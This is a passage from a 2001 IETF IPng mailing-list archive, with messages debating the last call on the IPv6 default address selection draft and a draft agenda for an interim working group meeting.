[129.144.134.6]) by sunroof.eng.sun.com (8.11.4.Beta1+Sun/8.11.4.Beta1) with ESMTP id f4PFG4e04639 for ; Fri, 25 May 2001 08:16:04 -0700 (PDT) Received: from venus.Sun.COM (venus.EBay.Sun.COM [129.150.69.5]) by engmail4.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id IAA04168 for ; Fri, 25 May 2001 08:16:09 -0700 (PDT) Received: from mail.users.bit-net.com (www.bit-net.com [208.146.132.4]) by venus.Sun.COM (8.9.3+Sun/8.9.3) with SMTP id IAA18396 for ; Fri, 25 May 2001 08:16:08 -0700 (PDT) Received: from localhost by mail.users.bit-net.com; (5.65v3.2/1.1.8.2/30Jul96-0143PM) id AA02458; Fri, 25 May 2001 11:16:03 -0400 Date: Fri, 25 May 2001 11:16:02 -0400 (EDT) From: Jim Bound To: itojun@iijlab.net Cc: Bob Hinden , ipng@sunroof.eng.sun.com Subject: Re: W.G. Last Call on "Default Address Selection for IPv6" In-Reply-To: Message-Id: Mime-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk sorry. Do not use site-local when sending to global if one has a global source address should be the default. /jim On Fri, 25 May 2001, Jim Bound wrote: > Hi, > > I may still object to it being a standards document. I read roughly the > 04 draft. My main issue is that I do not believe one should EVER use a > site-local address when sending to a GLOBAL address unless one has a > global address available. This does not appear to be a requirement of the > algorithm, but I will check again on my plane ride to Seattle. If it is I > can't see any argument changing my mind for the default behavior. > > As far as it being standards tracked I will forgo that issue and the > reason is that precedence has been changed via ngtrans with some of the > specs being standards tracked for transition and rich's work is better > than a few of those in some instances and if they are standards track then > so should this be. I do believe though we in the IETF are on a slippery > slope here and need to be careful for any pandora's box we have opened for > lets say 2006 when we are working on technology we may not for see now as > standard vs informational. I should probably write a position paper on > this for the IESG and IAB as an objective treatise of IETF epistemology. > > As far as policy I hav changed my mind on this a bit because I think we > could cause a mamor problem with IPv6 if we don't at least give some > default guidance to the vendors and market regarding use of our multi > scoped addressing architecture. My normal laizze-faire view of our work > here and my support or not support needs to be tempered in this case. > > But then we get down to what is right and wrong. > > Using same scope should be done as DEFAULT. Anything else is very very > bad. My belief is that what Rich did. But want to check one more time on > the plane. > > My other concerns are how the wording is in the selection process and if > the spec tells me how I must implement this in libc, APIs, and most > importantly how I would do the conditionals and data structures to support > the draft. If it is left open and not forced by any IETF SHOULD or MUST I > am fine with it for my reasons above. I will check this on the plane > too. > > As far as the issues not being resolved and the chairs sending a last > call. Well I will assume they belived the last call will flush the final > discussions out on the list. But I do think all the attached issues > should be resolved. > > thanks > > /jim > > On Fri, 25 May 2001 itojun@iijlab.net wrote: > > > > > >This is a IPng working group last call for comments on advancing the > > >following document as a Proposed Standard: > > > Title : Default Address Selection for IPv6 > > > Author(s) : R. Draves > > > Filename : draft-ietf-ipngwg-default-addr-select-04.txt > > > Pages : 20 > > > Date : 14-May-01 > > >Please send substantive comments to the ipng mailing list, and minor > > >editorial comments to the author. This last call period will end two > > >week from today on June 7, 2001. > > > > were there concrete agreement made about standard-track/informational? > > i find the following on IETF50 minutes, nothing else (correct me > > if i'm wrong). were there any poll on mailing list made? > > http://playground.sun.com/pub/ipng/html/minutes/ipng-minutes-mar2001.txt > > > > itojun > > > > > > --- > > Jim Bound thinks this shouldn't be a standard, should be informational. > > Thinks is policy. This should be suggested recommendation, not default. > > Draves: Thinks this document does have implementation requirements. > > "Must" requirement have implementation consequences. Bound: Doesn't > > agree with some of the choices (e.g., selection of site scope as source > > to send to global destination). > > (snip) > > Nordmark: Thinks this should be standards track. Splitting between must > > and should. > > > > -------------------------------------------------------------------- > > IETF IPng Working Group Mailing List > > IPng Home Page: http://playground.sun.com/ipng > > FTP archive: ftp://playground.sun.com/pub/ipng > > Direct all administrative requests to majordomo@sunroof.eng.sun.com > > -------------------------------------------------------------------- > > > > -------------------------------------------------------------------- > IETF IPng Working Group Mailing List > IPng Home Page: http://playground.sun.com/ipng > FTP archive: ftp://playground.sun.com/pub/ipng > Direct all administrative requests to majordomo@sunroof.eng.sun.com > -------------------------------------------------------------------- > -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Fri May 25 08:45:52 2001 Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.11.4.Beta1+Sun/8.11.4.Beta1) id f4PFj9D04674 for ipng-dist; Fri, 25 May 2001 08:45:10 -0700 (PDT) Received: from engmail4.Eng.Sun.COM (engmail4 [129.144.134.6]) by sunroof.eng.sun.com (8.11.4.Beta1+Sun/8.11.4.Beta1) with ESMTP id f4PFj6e04667 for ; Fri, 25 May 2001 08:45:06 -0700 (PDT) Received: from saturn.sun.com (saturn.EBay.Sun.COM [129.150.69.2]) by engmail4.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id IAA09280 for ; Fri, 25 May 2001 08:45:11 -0700 (PDT) Received: from brandenburg.cs.mu.OZ.AU (96-1.nat.psu.ac.th [202.28.96.1]) by saturn.sun.com (8.9.3+Sun/8.9.3) with ESMTP id IAA29659 for ; Fri, 25 May 2001 08:45:10 -0700 (PDT) Received: from brandenburg.cs.mu.OZ.AU (localhost [127.0.0.1]) by brandenburg.cs.mu.OZ.AU (8.11.0/8.11.0) with ESMTP id f4PFkkg03235 for ; Fri, 25 May 2001 22:46:46 +0700 (ICT) From: Robert Elz To: ipng@sunroof.eng.sun.com Subject: Re: W.G. Last Call on "Default Address Selection for IPv6" In-Reply-To: <4.3.2.7.2.20010524142147.022bc410@mailhost.iprg.nokia.com> References: <4.3.2.7.2.20010524142147.022bc410@mailhost.iprg.nokia.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Date: Fri, 25 May 2001 22:46:46 +0700 Message-ID: <3233.990805606@brandenburg.cs.mu.OZ.AU> Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk Standards track is clearly right for this doc. It isn't just policy - in fact, it isn't really policy at all. It expressly says that local policy can override the rules, but otherwise specifies how nodes should behave, and I think specifies stuff that is needed for correct interoperbility. I would delete the (I think just one, but I might have missed something) reference to getaddrinfo() though - what is done in that func, and what is done elsewhere, really is a local implementation issue, and shouldn't be in this doc. Don't specify (to a large degree, don't even hint at) how or where it should be done, just that it should be. For Jim ... I think you'll find if you read the doc, that it meets your requirements on site-local and global addresses - it will pick addresses of the same scope if such addresses exist. That is, unless that has been overridden by the application (or something) of course - that is, the draft doesn't prohibit using a site local address when sending to a global, it just won't generate that by itself unless no global is available. That's how it should be I think. I happen to believe there are good reasons for sending to a global address from a site local - but when that's do be done it ought be done by the application/library/whatever deliberately, the way the draft has it is fine - absent other info, send to a global from a global. kre -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Fri May 25 10:00:09 2001 Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.11.4.Beta1+Sun/8.11.4.Beta1) id f4PGxJG04765 for ipng-dist; Fri, 25 May 2001 09:59:19 -0700 (PDT) Received: from engmail4.Eng.Sun.COM (engmail4 [129.144.134.6]) by sunroof.eng.sun.com (8.11.4.Beta1+Sun/8.11.4.Beta1) with ESMTP id f4PGxFe04758 for ; Fri, 25 May 2001 09:59:15 -0700 (PDT) Received: from saturn.sun.com (saturn.EBay.Sun.COM [129.150.69.2]) by engmail4.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id JAA24733 for ; Fri, 25 May 2001 09:59:21 -0700 (PDT) Received: from mail5.microsoft.com (mail5.microsoft.com [131.107.3.121]) by saturn.sun.com (8.9.3+Sun/8.9.3) with SMTP id JAA12934 for ; Fri, 25 May 2001 09:59:20 -0700 (PDT) Received: from 157.54.9.100 by mail5.microsoft.com (InterScan E-Mail VirusWall NT); Fri, 25 May 2001 09:49:55 -0700 (Pacific Daylight Time) Received: from red-msg-06.redmond.corp.microsoft.com ([157.54.12.71]) by inet-imc-03.redmond.corp.microsoft.com with Microsoft SMTPSVC(5.0.2195.2883); Fri, 25 May 2001 09:49:38 -0700 X-MimeOLE: Produced By Microsoft Exchange V6.0.4712.0 content-class: urn:content-classes:message MIME-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Subject: RE: W.G. Last Call on "Default Address Selection for IPv6" Date: Fri, 25 May 2001 09:49:38 -0700 Message-ID: <7695E2F6903F7A41961F8CF888D87EA80355FC18@red-msg-06.redmond.corp.microsoft.com> X-MS-Has-Attach: X-MS-TNEF-Correlator: Thread-Topic: W.G. Last Call on "Default Address Selection for IPv6" Thread-Index: AcDlLfw/4FQeZqJJS6qeep+VzT1biwAC812g From: "Richard Draves" To: "Jim Bound" , Cc: "Bob Hinden" , X-OriginalArrivalTime: 25 May 2001 16:49:38.0704 (UTC) FILETIME=[AFD26900:01C0E53A] Content-Transfer-Encoding: 8bit X-MIME-Autoconverted: from quoted-printable to 8bit by sunroof.eng.sun.com id f4PGxGe04759 Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk Jim, that is in fact the default behavior. Looking at the source address selection rules in section 4, with the following addresses: D - global SA - site-local SB - global If SB should happen to equal D (ie this is loopback), then rule 1 says to choose SB. Otherwise rule 1 does not apply and you fall through to rule 2. Then Rule 2 says since Scope(SA) < Scope(SB), and Scope(SA) < Scope(D), you should choose SB. Rich > -----Original Message----- > From: Jim Bound [mailto:seamus@bit-net.com] > Sent: Friday, May 25, 2001 8:16 AM > To: itojun@iijlab.net > Cc: Bob Hinden; ipng@sunroof.eng.sun.com > Subject: Re: W.G. Last Call on "Default Address Selection for IPv6" > > > sorry. Do not use site-local when sending to global if one > has a global source address should be the default. > > /jim > > On Fri, 25 May 2001, Jim Bound wrote: > > > Hi, > > > > I may still object to it being a standards document. I > read roughly > > the 04 draft. My main issue is that I do not believe one > should EVER > > use a site-local address when sending to a GLOBAL address > unless one > > has a global address available. This does not appear to be a > > requirement of the algorithm, but I will check again on my > plane ride > > to Seattle. If it is I can't see any argument changing my mind for > > the default behavior. > > > > As far as it being standards tracked I will forgo that > issue and the > > reason is that precedence has been changed via ngtrans with some of > > the specs being standards tracked for transition and rich's work is > > better than a few of those in some instances and if they > are standards > > track then so should this be. I do believe though we in > the IETF are > > on a slippery slope here and need to be careful for any > pandora's box > > we have opened for lets say 2006 when we are working on > technology we > > may not for see now as standard vs informational. I should > probably > > write a position paper on this for the IESG and IAB as an objective > > treatise of IETF epistemology. > > > > As far as policy I hav changed my mind on this a bit > because I think > > we could cause a mamor problem with IPv6 if we don't at least give > > some default guidance to the vendors and market regarding > use of our > > multi scoped addressing architecture. My normal > laizze-faire view of > > our work here and my support or not support needs to be tempered in > > this case. > > > > But then we get down to what is right and wrong. > > > > Using same scope should be done as DEFAULT. Anything else is very > > very bad. My belief is that what Rich did. But want to check one > > more time on the plane. > > > > My other concerns are how the wording is in the selection > process and > > if the spec tells me how I must implement this in libc, > APIs, and most > > importantly how I would do the conditionals and data structures to > > support the draft. If it is left open and not forced by any IETF > > SHOULD or MUST I am fine with it for my reasons above. I > will check > > this on the plane too. > > > > As far as the issues not being resolved and the chairs > sending a last > > call. Well I will assume they belived the last call will flush the > > final discussions out on the list. But I do think all the attached > > issues should be resolved. > > > > thanks > > > > /jim > > > > On Fri, 25 May 2001 itojun@iijlab.net wrote: > > > > > > > > >This is a IPng working group last call for comments on advancing > > > >the > > > >following document as a Proposed Standard: > > > > Title : Default Address Selection for IPv6 > > > > Author(s) : R. Draves > > > > Filename : draft-ietf-ipngwg-default-addr-select-04.txt > > > > Pages : 20 > > > > Date : 14-May-01 > > > >Please send substantive comments to the ipng mailing > list, and minor > > > >editorial comments to the author. This last call period > will end two > > > >week from today on June 7, 2001. > > > > > > were there concrete agreement made about > standard-track/informational? > > > i find the following on IETF50 minutes, nothing else (correct me > > > if i'm wrong). were there any poll on mailing list made? > > > > > > > http://playground.sun.com/pub/ipng/html/minutes/ipng-minutes-mar2001 > > > .txt > > > > > > itojun > > > > > > > > > --- > > > Jim Bound thinks this shouldn't be a standard, should be > > > informational. Thinks is policy. This should be suggested > > > recommendation, not default. > > > Draves: Thinks this document does have implementation > requirements. > > > "Must" requirement have implementation consequences. > Bound: Doesn't > > > agree with some of the choices (e.g., selection of site > scope as source > > > to send to global destination). > > > (snip) > > > Nordmark: Thinks this should be standards track. > Splitting between must > > > and should. > > > > > > > -------------------------------------------------------------------- > > > IETF IPng Working Group Mailing List > > > IPng Home Page: > http://playground.sun.com/ipng > > > FTP archive: > ftp://playground.sun.com/pub/ipng > > > Direct all administrative requests to > majordomo@sunroof.eng.sun.com > > > > -------------------------------------------------------------------- > > > > > > > -------------------------------------------------------------------- > > IETF IPng Working Group Mailing List > > IPng Home Page: http://playground.sun.com/ipng > > FTP archive: ftp://playground.sun.com/pub/ipng > > Direct all administrative requests to majordomo@sunroof.eng.sun.com > > -------------------------------------------------------------------- > > > > -------------------------------------------------------------------- > IETF IPng Working Group Mailing List > IPng Home Page: http://playground.sun.com/ipng > FTP archive: ftp://playground.sun.com/pub/ipng > Direct all administrative requests to majordomo@sunroof.eng.sun.com > -------------------------------------------------------------------- > -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Fri May 25 10:14:22 2001 Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.11.4.Beta1+Sun/8.11.4.Beta1) id f4PHDhp04790 for ipng-dist; Fri, 25 May 2001 10:13:43 -0700 (PDT) Received: from engmail2.Eng.Sun.COM (engmail2 [129.146.1.25]) by sunroof.eng.sun.com (8.11.4.Beta1+Sun/8.11.4.Beta1) with ESMTP id f4PHDde04783 for ; Fri, 25 May 2001 10:13:39 -0700 (PDT) Received: from venus.Sun.COM (venus.EBay.Sun.COM [129.150.69.5]) by engmail2.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id KAA17289 for ; Fri, 25 May 2001 10:13:45 -0700 (PDT) Received: from mail.users.bit-net.com (www.bit-net.com [208.146.132.4]) by venus.Sun.COM (8.9.3+Sun/8.9.3) with SMTP id KAA12749 for ; Fri, 25 May 2001 10:13:43 -0700 (PDT) Received: from localhost by mail.users.bit-net.com; (5.65v3.2/1.1.8.2/30Jul96-0143PM) id AA05504; Fri, 25 May 2001 13:13:37 -0400 Date: Fri, 25 May 2001 13:13:37 -0400 (EDT) From: Jim Bound To: Richard Draves Cc: itojun@iijlab.net, Bob Hinden , ipng@sunroof.eng.sun.com Subject: RE: W.G. Last Call on "Default Address Selection for IPv6" In-Reply-To: <7695E2F6903F7A41961F8CF888D87EA80355FC18@red-msg-06.redmond.corp.microsoft.com> Message-Id: Mime-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk yep...just wanted to look at it a few times....... thanks /jim On Fri, 25 May 2001, Richard Draves wrote: > Jim, that is in fact the default behavior. Looking at the source address > selection rules in section 4, with the following addresses: > > D - global > SA - site-local > SB - global > > If SB should happen to equal D (ie this is loopback), then rule 1 says > to choose SB. Otherwise rule 1 does not apply and you fall through to > rule 2. Then Rule 2 says since > Scope(SA) < Scope(SB), and Scope(SA) < Scope(D), you should choose SB. > > Rich > > > -----Original Message----- > > From: Jim Bound [mailto:seamus@bit-net.com] > > Sent: Friday, May 25, 2001 8:16 AM > > To: itojun@iijlab.net > > Cc: Bob Hinden; ipng@sunroof.eng.sun.com > > Subject: Re: W.G. Last Call on "Default Address Selection for IPv6" > > > > > > sorry. Do not use site-local when sending to global if one > > has a global source address should be the default. > > > > /jim > > > > On Fri, 25 May 2001, Jim Bound wrote: > > > > > Hi, > > > > > > I may still object to it being a standards document. I > > read roughly > > > the 04 draft. My main issue is that I do not believe one > > should EVER > > > use a site-local address when sending to a GLOBAL address > > unless one > > > has a global address available. This does not appear to be a > > > requirement of the algorithm, but I will check again on my > > plane ride > > > to Seattle. If it is I can't see any argument changing my mind for > > > the default behavior. > > > > > > As far as it being standards tracked I will forgo that > > issue and the > > > reason is that precedence has been changed via ngtrans with some of > > > the specs being standards tracked for transition and rich's work is > > > better than a few of those in some instances and if they > > are standards > > > track then so should this be. I do believe though we in > > the IETF are > > > on a slippery slope here and need to be careful for any > > pandora's box > > > we have opened for lets say 2006 when we are working on > > technology we > > > may not for see now as standard vs informational. I should > > probably > > > write a position paper on this for the IESG and IAB as an objective > > > treatise of IETF epistemology. > > > > > > As far as policy I hav changed my mind on this a bit > > because I think > > > we could cause a mamor problem with IPv6 if we don't at least give > > > some default guidance to the vendors and market regarding > > use of our > > > multi scoped addressing architecture. My normal > > laizze-faire view of > > > our work here and my support or not support needs to be tempered in > > > this case. > > > > > > But then we get down to what is right and wrong. > > > > > > Using same scope should be done as DEFAULT. Anything else is very > > > very bad. My belief is that what Rich did. But want to check one > > > more time on the plane. > > > > > > My other concerns are how the wording is in the selection > > process and > > > if the spec tells me how I must implement this in libc, > > APIs, and most > > > importantly how I would do the conditionals and data structures to > > > support the draft. If it is left open and not forced by any IETF > > > SHOULD or MUST I am fine with it for my reasons above. I > > will check > > > this on the plane too. > > > > > > As far as the issues not being resolved and the chairs > > sending a last > > > call. Well I will assume they belived the last call will flush the > > > final discussions out on the list. But I do think all the attached > > > issues should be resolved. > > > > > > thanks > > > > > > /jim > > > > > > On Fri, 25 May 2001 itojun@iijlab.net wrote: > > > > > > > > > > > >This is a IPng working group last call for comments on advancing > > > > >the > > > > >following document as a Proposed Standard: > > > > > Title : Default Address Selection for IPv6 > > > > > Author(s) : R. Draves > > > > > Filename : draft-ietf-ipngwg-default-addr-select-04.txt > > > > > Pages : 20 > > > > > Date : 14-May-01 > > > > >Please send substantive comments to the ipng mailing > > list, and minor > > > > >editorial comments to the author. This last call period > > will end two > > > > >week from today on June 7, 2001. > > > > > > > > were there concrete agreement made about > > standard-track/informational? > > > > i find the following on IETF50 minutes, nothing else (correct me > > > > if i'm wrong). were there any poll on mailing list made? > > > > > > > > > > http://playground.sun.com/pub/ipng/html/minutes/ipng-minutes-mar2001 > > > > .txt > > > > > > > > itojun > > > > > > > > > > > > --- > > > > Jim Bound thinks this shouldn't be a standard, should be > > > > informational. Thinks is policy. This should be suggested > > > > recommendation, not default. > > > > Draves: Thinks this document does have implementation > > requirements. > > > > "Must" requirement have implementation consequences. > > Bound: Doesn't > > > > agree with some of the choices (e.g., selection of site > > scope as source > > > > to send to global destination). > > > > (snip) > > > > Nordmark: Thinks this should be standards track. > > Splitting between must > > > > and should. > > > > > > > > > > -------------------------------------------------------------------- > > > > IETF IPng Working Group Mailing List > > > > IPng Home Page: > > http://playground.sun.com/ipng > > > > FTP archive: > > ftp://playground.sun.com/pub/ipng > > > > Direct all administrative requests to > > majordomo@sunroof.eng.sun.com > > > > > > -------------------------------------------------------------------- > > > > > > > > > > -------------------------------------------------------------------- > > > IETF IPng Working Group Mailing List > > > IPng Home Page: http://playground.sun.com/ipng > > > FTP archive: ftp://playground.sun.com/pub/ipng > > > Direct all administrative requests to majordomo@sunroof.eng.sun.com > > > -------------------------------------------------------------------- > > > > > > > -------------------------------------------------------------------- > > IETF IPng Working Group Mailing List > > IPng Home Page: http://playground.sun.com/ipng > > FTP archive: ftp://playground.sun.com/pub/ipng > > Direct all administrative requests to majordomo@sunroof.eng.sun.com > > -------------------------------------------------------------------- > > > -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Fri May 25 10:15:32 2001 Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.11.4.Beta1+Sun/8.11.4.Beta1) id f4PHEvn04820 for ipng-dist; Fri, 25 May 2001 10:14:57 -0700 (PDT) Received: from engmail4.Eng.Sun.COM (engmail4 [129.144.134.6]) by sunroof.eng.sun.com (8.11.4.Beta1+Sun/8.11.4.Beta1) with ESMTP id f4PHEse04813 for ; Fri, 25 May 2001 10:14:54 -0700 (PDT) Received: from lukla.Sun.COM (lukla.Central.Sun.COM [129.147.5.31]) by engmail4.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id KAA28977 for ; Fri, 25 May 2001 10:15:00 -0700 (PDT) Received: from mail.users.bit-net.com (www.bit-net.com [208.146.132.4]) by lukla.Sun.COM (8.9.3+Sun/8.9.3) with SMTP id LAA00788 for ; Fri, 25 May 2001 11:15:21 -0600 (MDT) Received: from localhost by mail.users.bit-net.com; (5.65v3.2/1.1.8.2/30Jul96-0143PM) id AA06234; Fri, 25 May 2001 13:12:23 -0400 Date: Fri, 25 May 2001 13:12:23 -0400 (EDT) From: Jim Bound To: Robert Elz Cc: ipng@sunroof.eng.sun.com Subject: Re: W.G. Last Call on "Default Address Selection for IPv6" In-Reply-To: <3233.990805606@brandenburg.cs.mu.OZ.AU> Message-Id: Mime-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk OK folks. I dropped what I am doing and checked my issues they do seem to be solved. I agree with Robert also on the getaddrinfo comment too. good job Rich............ thanks /jim On Fri, 25 May 2001, Robert Elz wrote: > Standards track is clearly right for this doc. It isn't just > policy - in fact, it isn't really policy at all. It expressly > says that local policy can override the rules, but otherwise > specifies how nodes should behave, and I think specifies stuff > that is needed for correct interoperbility. > > I would delete the (I think just one, but I might have missed something) > reference to getaddrinfo() though - what is done in that func, and > what is done elsewhere, really is a local implementation issue, and > shouldn't be in this doc. Don't specify (to a large degree, don't > even hint at) how or where it should be done, just that it should be. > > For Jim ... I think you'll find if you read the doc, that it meets your > requirements on site-local and global addresses - it will pick addresses > of the same scope if such addresses exist. That is, unless that has > been overridden by the application (or something) of course - that is, > the draft doesn't prohibit using a site local address when sending to > a global, it just won't generate that by itself unless no global is > available. That's how it should be I think. > > I happen to believe there are good reasons for sending to a global > address from a site local - but when that's do be done it ought be > done by the application/library/whatever deliberately, the way the > draft has it is fine - absent other info, send to a global from a global. > > kre > > -------------------------------------------------------------------- > IETF IPng Working Group Mailing List > IPng Home Page: http://playground.sun.com/ipng > FTP archive: ftp://playground.sun.com/pub/ipng > Direct all administrative requests to majordomo@sunroof.eng.sun.com > -------------------------------------------------------------------- > -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Fri May 25 13:59:30 2001 Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.11.4.Beta1+Sun/8.11.4.Beta1) id f4PKwj605105 for ipng-dist; Fri, 25 May 2001 13:58:45 -0700 (PDT) Received: from engmail2.Eng.Sun.COM (engmail2 [129.146.1.25]) by sunroof.eng.sun.com (8.11.4.Beta1+Sun/8.11.4.Beta1) with ESMTP id f4PKwfe05098; Fri, 25 May 2001 13:58:41 -0700 (PDT) Received: from venus.Sun.COM (venus.EBay.Sun.COM [129.150.69.5]) by engmail2.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id NAA04882; Fri, 25 May 2001 13:58:47 -0700 (PDT) Received: from mailhost.iprg.nokia.com (mailhost.iprg.nokia.com [205.226.5.12]) by venus.Sun.COM (8.9.3+Sun/8.9.3) with ESMTP id NAA18744; Fri, 25 May 2001 13:58:25 -0700 (PDT) Received: from darkstar.iprg.nokia.com (darkstar.iprg.nokia.com [205.226.5.69]) by mailhost.iprg.nokia.com (8.9.3/8.9.3-GLGS) with ESMTP id NAA23002; Fri, 25 May 2001 13:58:23 -0700 (PDT) Received: (from root@localhost) by darkstar.iprg.nokia.com (8.11.0/8.11.0-DARKSTAR) id f4PKwKf00643; Fri, 25 May 2001 13:58:20 -0700 X-mProtect: Fri, 25 May 2001 13:58:20 -0700 Nokia Silicon Valley Messaging Protection Received: from spruce.iprg.nokia.com (205.226.1.63) by darkstar.iprg.nokia.com(P1.5 smtpduAJDiG; Fri, 25 May 2001 13:58:17 PDT Message-Id: <4.3.2.7.2.20010525135550.02249c88@mailhost.iprg.nokia.com> X-Sender: hinden@mailhost.iprg.nokia.com X-Mailer: QUALCOMM Windows Eudora Version 4.3.2 Date: Fri, 25 May 2001 13:57:57 -0700 To: ipng@sunroof.eng.sun.com, ngtrans@sunroof.eng.sun.com From: Bob Hinden Subject: DRAFT - IPng/NGTRANS Interim Meeting Agenda Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii"; format=flowed Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk Attached is the draft agenda for next weeks interim IPng and NGTRANS working group meetings. Please send requests for additional agenda topics to the chairs of the appropriate working group. ------------------------------------------------------------- Wednesday, May 30, 2001 0900-1700 ---------------------------------- Joint meeting between IPng Working Group and 3GPP ------------------------------------------------- 9:00 Introduction / Steve Deering & Bob Hinden (15 min) Local Arrangements / Christian Huitema (15 min) 3GPP Architecture / Shabnam Sultana (60 min) 10:30 Break (15 min) 11:45 3GPP QoS architecture / Bonnie Chen (30 min) Answers to IETF questions (1) / TBD (60 min) 12:15 Lunch (90 min) 13:45 Answers to IETF questions (2) / TBD (60 min) 3GPP documents structure and relevance to IPV6 (15 min) 15:00 Break (30 min) 15:30 3GPP2 Overview / Pat Calhoun (45 min) Follow up Discussion / Action Points (45 min) 17:00 Adjourn Thursday, May 31, 2001 0900-1700 --------------------------------- IPng Working Group ------------------ 09:00 Introduction / Steve Deering & Bob Hinden (5 min) Multi-Link Subnets / Dave Thaler (45 min) Router Selection / Rich Draves (30 min) 10:20 Break (15 min) 10:35 Ingress Filtering / Rich Draves (45 min) Dialup Architecture / TBD (40 min) 12:00 Lunch (90 min) 13:30 DAD Reduction / Markku Savela (30 min) Comments on Address Selection Last Call / Rich Draves (15 min) Updates to Addressing Architecture / Bob Hinden (15 min) Flow Label Discussion / Steve Deering (60 min) 15:30 Break (30 min) 16:00 DNS Discovery / Dave Thaler (30 min) Scoped Address Architecture / Steve Deering (60 min) 17:30 Adjourn Friday, June 1, 2001 0900-1700 ------------------------------------------- IPng Working Group ------------------ 09:00 Reserved for additional items 12:00 Lunch (90 min) NGTRANS Working Group --------------------- 13:30 ISATAP - Intra-site tunneling Matrix of transition mechanisms 15:00 Meeting Adjourned -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Fri May 25 14:07:42 2001 Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.11.4.Beta1+Sun/8.11.4.Beta1) id f4PL7Fg05138 for ipng-dist; Fri, 25 May 2001 14:07:15 -0700 (PDT) Received: from engmail4.Eng.Sun.COM (engmail4 [129.144.134.6]) by sunroof.eng.sun.com (8.11.4.Beta1+Sun/8.11.4.Beta1) with ESMTP id f4PL7Ae05131; Fri, 25 May 2001 14:07:11 -0700 (PDT) Received: from patan.sun.com (patan.Central.Sun.COM [129.147.5.43]) by engmail4.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id OAA18454; Fri, 25 May 2001 14:07:17 -0700 (PDT) Received: from coconut.itojun.org (coconut.itojun.org [210.160.95.97]) by patan.sun.com (8.9.3+Sun/8.9.3) with ESMTP id PAA06499; Fri, 25 May 2001 15:07:15 -0600 (MDT) Received: from itojun.org (localhost [127.0.0.1]) by coconut.itojun.org (Postfix) with ESMTP id 983814B0B; Sat, 26 May 2001 06:07:13 +0900 (JST) To: Bob Hinden Cc: ipng@sunroof.eng.sun.com, ngtrans@sunroof.eng.sun.com In-reply-to: hinden's message of Fri, 25 May 2001 13:57:57 MST. <4.3.2.7.2.20010525135550.02249c88@mailhost.iprg.nokia.com> X-Template-Reply-To: itojun@itojun.org X-Template-Return-Receipt-To: itojun@itojun.org X-PGP-Fingerprint: F8 24 B4 2C 8C 98 57 FD 90 5F B4 60 79 54 16 E2 Subject: Re: (ngtrans) DRAFT - IPng/NGTRANS Interim Meeting Agenda From: itojun@iijlab.net Date: Sat, 26 May 2001 06:07:13 +0900 Message-ID: <28316.990824833@itojun.org> Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk >10:35 Ingress Filtering / Rich Draves (45 min) > Dialup Architecture / TBD (40 min) i had draft-itojun-ipv6-dialup-requirement-xx, which i need to revise. does it fit into the "Dialup architecture" slot? if so i'd like to revise it and volunteer to fill in the slot. itojun -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Fri May 25 14:12:52 2001 Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.11.4.Beta1+Sun/8.11.4.Beta1) id f4PLCEt05178 for ipng-dist; Fri, 25 May 2001 14:12:14 -0700 (PDT) Received: from engmail1.Eng.Sun.COM 